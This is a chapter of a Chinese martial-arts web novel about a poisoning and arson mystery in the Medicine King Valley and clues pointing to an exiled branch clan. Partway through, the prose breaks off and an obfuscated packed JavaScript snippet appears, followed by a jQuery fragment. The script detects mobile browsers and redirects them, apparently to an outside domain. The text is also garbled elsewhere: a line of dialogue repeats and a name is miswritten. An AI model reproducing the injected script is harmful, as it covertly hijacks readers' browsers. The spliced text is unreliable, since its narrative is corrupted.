萧溪山听得脑袋发晕,这些弯弯绕绕让他极不耐烦。他猛地一拍桌子,站起身,漂亮的眉毛拧在一起,冲着白玄风大声道:“喂!你们说够了没有!又是毒啊又是幻的,听得本少爷头都疼了!说到底不就是那个坏女人骗了我们吗?她现在人跑了,你们在这儿猜来猜去有什么用?”
他双手抱胸,趾高气扬地瞪着白玄风:“还有你!你是这里的少谷主对吧?你们药王谷自己出了内鬼,连家门都看不住,让人来去自如,现在还差点把我们也扯进这滩浑水里!本少爷可是要赶路的,莫名其妙被卷进这种破事里,真是倒霉透顶!”
他越说越气,转身就去拉扯凌妄的衣袖:“凌大哥,我们走!别管他们这些破事了!让他们自己抓内鬼去!本少爷才不要待在这个又破又危险还尽是怪味道的地方!”
凌妄被他扯得衣袖晃动,却并未动弹,只是沉声道:“溪山,不得无礼。”
“我哪里无礼了!”萧溪山更不高兴了,甩开凌妄的袖子,指着白玄风,“是他们自己没用!连个女人都看不住,还少谷主呢!我看……”
“溪山!”凌妄的声音略微加重,带着不容置疑的制止。
萧溪天被凌妄一喝,虽然依旧气鼓鼓的,但还是悻悻地闭了嘴,重重地坐回椅子上,把脸扭到一边,用所有人都能听到的音量嘟囔:“……哼,就知道凶我,对他们倒客气……本少爷还不是担心你的安危……这破地方谁爱待谁待……”
他这番毫不客气、完全以自我为中心的发作,虽然蛮横无礼,却也将众人从沉重的猜测中暂时拉了出来。
白玄风被一个半大少年如此指责,脸色青白交加,却碍于对方年纪和此刻形势不好发作,只能咬牙忍下,但萧溪山的话无疑像一根刺,扎中了他心中的痛处——药王谷的防卫确实出现了巨大的漏洞。
楚松云看着这一幕,倒是觉得这跋扈小少爷虽然讨厌,但话糙理不糙。他冷声道:“这位小公子话虽不中听,但确有其理。白少谷主,当务之急是加强谷中戒备,清查内部,而非在此空谈。那女子既能来去自如,未必不会去而复返,或是在谷中另有巢穴。”
裴不染“唰”地展开扇子,掩唇轻笑,饶有兴致地看着萧溪山炸毛又敢怒不敢言的样子,觉得比分析那神秘女子有趣多了。
凌妄按了按眉心,对白玄风道:“少谷主,眼下确需行动。若信得过,我可协助排查谷中可能被利用的隐秘路径或藏身之处。”他虽不喜萧溪山的态度,但也知道不能再被动下去。
白玄风深吸一口气,压下翻腾的情绪,重重颔首:“如此,有劳凌兄了!我这就安排可信之人,陪同凌兄一同巡查!”他也明白,必须做点什么了。
白玄风强压下被萧溪山无理取闹引发的怒火,深知此刻不是计较之时。他深吸一口气,对凌妄郑重道:“凌兄肯出手相助,白某感激不尽。我让两位对谷中隐秘小道最熟悉的师弟随你同去,他们绝对可信。”他迅速唤来两名眼神沉稳、步履矫健的年轻弟子,低声吩咐了几句。
凌妄点头,对裴不染道:“你看好溪山。”语气不容置疑。
裴不染扇子一收,笑眯眯地应下:“凌兄放心,保证把这小祖宗看得牢牢的。”说着,不由分说地按住了还想嚷嚷的萧溪山的肩膀。
萧溪山气得想跳脚,却被裴不染看似随意搭着的手按得动弹不得,只能鼓着腮帮子瞪他:“你放开我!裴不染!你敢碰本少爷!”
裴不染笑得像只狐狸:“小少爷,安静些,不然下次你凌大哥带你出去,可就不给你买糖葫芦了哦。”
“你!”萧溪山被戳中软肋,又挣脱不开,气得脸都红了,却真的不敢再大声吵闹,只小声骂骂咧咧。
楚松云见状,也对身后一名灰衣人下令:“李锋,你带两人,随凌公子一同巡查,注意一切可疑痕迹,尤其是那女子可能留下的线索。”
“是,统领!”那名被称为李锋的灰衣人立刻领命,点齐两人,站到了凌妄身后。楚松云此举既有协助之意,也存了几分监视之心,毕竟凌妄等人身份未明。
凌妄对此不置可否,对白玄风一抱拳:“事不宜迟,我们这便出发。”
白玄风拱手回礼:“有劳!”
凌妄不再多言,转身便带着药王谷两名弟子和三名灰衣人快步走出百草殿,身影迅速消失在晨雾未散的谷中小径。
殿内暂时恢复了安静,只余下萧溪山不甘心的嘟囔声。楚松云走到窗边,目光锐利地扫视着谷中景象,心中不断推演着各种可能。白玄风则疲惫地揉了揉眉心,开始仔细回想谷中近来的所有异常,试图找出被忽略的蛛丝马迹。
裴不染依旧按着萧溪山,目光却若有所思地投向凌妄离开的方向,扇子无意识地轻敲着掌心,嘴角噙着一丝玩味的笑意。
时间一点点过去,谷中的气氛依旧压抑。约莫过了一个时辰,殿外传来急促的脚步声。
众人精神一振,看向门口。
只见凌妄率先走了进来,神色冷峻,衣袂上沾了些许尘土草叶,跟他一同前去的一名药王谷弟子脸色苍白,手中小心翼翼地捧着一样用油布包裹的东西。
“凌兄,可有发现?”白玄风立刻迎上前。
楚松云也转过身来。
凌妄示意那名弟子将东西放在桌上。油布打开,里面是几块破碎的、边缘焦黑的陶瓷碎片,碎片上还残留着些许诡异的蓝色粘稠物,散发出与丹房火灾现场相似的甜腥气味。
“这是在通往谷外一条废弃水道入口处发现的。”凌妄声音低沉,“那里有近期有人活动的痕迹,并且找到了这个。看残留物,与丹房纵火所用的火油同源。”
另一名药王谷弟子补充道:“那水道极为隐蔽,入口被藤蔓遮掩,早已废弃多年,谷中年轻一代弟子几乎无人知晓。若非凌公子洞察力惊人,我们根本不会注意到那里。”
白玄风看着那蓝色残留物,脸色难看:“果然有内应……或者,就是那女子自己……”
楚松云蹲下身,仔细查看碎片,沉声道:“对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290205|182651||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很谨慎,容器刻意打碎,但匆忙间未能完全处理干净。”他看向凌妄,“可还发现其他线索?”
凌妄目光微凝,从怀中取出一物:“在水道深处的石缝里,找到了这个。”
那是一片素白的、质地轻软的衣角,边缘被利刃划断,似乎是从整件衣服上匆忙割裂下来的。而最引人注目的是,衣角上,用极细的银线绣着一株栩栩如生、叶片卷曲的奇异药草,与药王谷弟子袖口的银叶标记相似,却又更加繁复。
所有人的目光瞬间聚焦在那株奇异的银线药草上。
白玄风瞳孔骤缩,脸色瞬间变得凝重无比,他小心翼翼地拿起那片衣角,仔细辨认着上面的纹样,半晌,才缓缓吐出一口气,声音带着难以置信的震惊:“这是……‘溯影兰’!这是我药王谷一支出走多年的旁系才会使用的标记!”
“出走多年的旁系?”楚松云敏锐地抓住了重点。
白玄风眉头紧锁,陷入了回忆:“约莫三十年前,谷中曾因制药理念发生一场激烈争执。一支主张更激进、更专注于挖掘药材极致药性甚至毒性的旁系,因与当时谷主即我祖父秉持的‘医者仁心、用药谨慎’的理念相悖,且多次违反谷规私下进行危险试验,最终被逐出药王谷。
眼中充满了复杂情绪:“这支旁系族人天赋极高,尤其精通用毒和炼制特殊药剂,但行事偏激。离谷后便杳无音信,我们都以为他们早已消散于江湖……
裴不染用扇骨轻点掌心:“这就说得通了。那白涉江对此地如此熟悉,精通毒术甚至草木习性,因她本就是药王谷血脉?她归来,是为了当年旧怨?还是想夺取谷中某物来证明其道?”
凌妄冷静分析:“或许两者皆有。她利用我们吸引注意,自己则趁乱行事。采摘迷障叶、纵火、甚至对阎罗子用刑逼问,可能都与她这一支系的目标有关。”
楚松云面色严肃:“无论其目的为何,此女及其背后势力手段诡秘,且对药王谷充满敌意,已是确凿无疑。
楚松云面色严肃:“无论其目的为何,此女及其背后势力手段诡秘,且对药王谷充满敌意,已是确凿无疑。白少谷主,这支旁系当年可有何特别执着之物或未完成的研究?”
白玄风努力回想,脸色愈发凝重:“据族中零星记载,他们当年痴迷于研究一种名为‘九转化生丹’的古方残篇。此丹据说有逆转重痾、激发潜能之奇效,但炼制之法极其凶险,所需数味主药更是蕴含剧毒,稍有不慎便会炼成夺命毒丹,且其中几味关键药材的生长条件苛刻,几乎绝迹……他们当年正是因为不顾禁令,偷偷尝试炼制此丹并险些酿成大祸,才被最终逐出……”
他的话音未落,殿外突然传来一阵急促的脚步声和惊慌的呼喊!
“少谷主!不好了!看守阎罗子的地方出事了!”
一名灰衣人踉跄着冲进殿内,身上带着打斗的痕迹,急声道:“统领!有人强闯囚室!身手极高,用的像是毒粉和暗器,我们的人拦不住!他们……他们好像是要抢走阎罗子!”